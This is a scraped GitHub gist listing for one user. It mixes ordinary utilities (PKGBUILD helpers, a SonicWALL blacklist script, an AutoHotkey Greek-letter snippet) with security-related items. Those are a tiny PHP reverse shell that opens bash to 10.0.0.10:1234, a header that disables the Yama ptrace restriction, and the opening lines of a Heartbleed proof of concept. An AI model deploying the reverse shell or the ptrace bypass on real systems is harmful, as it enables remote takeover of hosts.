Skip to content

Instantly share code, notes, and snippets.

View rshipp's full-sized avatar
🍉
drop ICE. defund police.

Ryan Shipp rshipp

🍉
drop ICE. defund police.
View GitHub Profile

Keybase proof

I hereby claim:

  • I am rshipp on github.
  • I am rshipp (https://keybase.io/rshipp) on keybase.
  • I have a public key whose fingerprint is C1E4 46BF AC0D 6882 8EDD 98D1 9985 DAD9 D417 608D

To claim this, I am signing this object:

@rshipp
rshipp / noyama.h
Created November 18, 2014 20:17
Disregard the Yama ptrace restriction. (#include "noyama.h")
#ifndef NOYAMA_H
#define NOYAMA_H
#include <sys/prctl.h>
prctl( PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0 );
#endif
@williballenthin
williballenthin / fuse-filter-by-ctime.py
Created October 28, 2014 15:49
FUSE module that exposes a copy of a source directory, but only entries whose `ctime` has changed in the past 10 minutes. Requires `fusepy`.
#!/usr/bin/env python
from __future__ import with_statement
import datetime
from errno import EACCES
from os.path import realpath
from sys import argv, exit
from threading import Lock
@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@rshipp
rshipp / 0-pkgvars.md
Last active August 29, 2015 14:02
Get variables and functions from PKGBUILDs into Python variables.

pkgvars

With pkgvars.py in your PATH, and a PKGBUILD in your current directory, run bash pkgvars.sh. The output is formatted JSON.

A patch for Pacman (makepkg) and an updated Pacman PKGBUILD are included, along with an example working split PKGBUILD and an example PKGBUILD with a custom array, to show how custom arrays are not handled by this script.

@rshipp
rshipp / update_sums.sh
Created June 25, 2014 01:25
A terrible one-liner for in-place updating of PKGBUILD checksums.
oldsums=$(sed -n '/^.*sums=(.*/,/.*)/p' PKGBUILD); newsums=$(makepkg -g); sed -i "/^.*sums=(.*/,/.*)$/y/${oldsums/$'\n'/\\n}/${newsums/$'\n'/\\n}/" PKGBUILD
@rshipp
rshipp / iplist2addressgroup.sh
Created June 24, 2014 17:59
Convert a file with one IP on each line into a script that can be copy-pasted into a SonicWALL shell to create a new address group.
# IP List to Address Group
# Convert a file with one IP on each line into a script that can be
# copy-pasted into a SonicWall shell to create a new address group.
# Use it like `./iplist2addressgroup.sh iplist.txt > script.txt`.
# I used it to bulk-blasklist some public IPs.
# See https://www.fuzeqna.com/sonicwallkb/ext/kbdetail.aspx?kbid=10896
# Config
objname='blacklistedip'
groupname='Blacklist'
anonymous
anonymous / application.html.erb
Created May 2, 2014 07:16
content for titles
<!DOCTYPE html>
<html>
<head>
<title><%= content_for?(:title) ? "#{yield(:title)} - Default Site Name" : "Default Site Name" %></title>
</head>
@rshipp
rshipp / hb-test-orig.py
Last active August 29, 2015 13:58 — forked from takeshixx/hb-test.py
Heartbeat test/PoC, original and feature bloat versions. http://www.exploit-db.com/exploits/32745/
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
@rshipp
rshipp / MathWriter.ahk
Created October 19, 2013 19:25
Write greek characters.
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
#Warn ; Recommended for catching common errors.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory.
::sigma::Σ
::pi::π
::lambda::λ
::theta::θ
::delta::Δ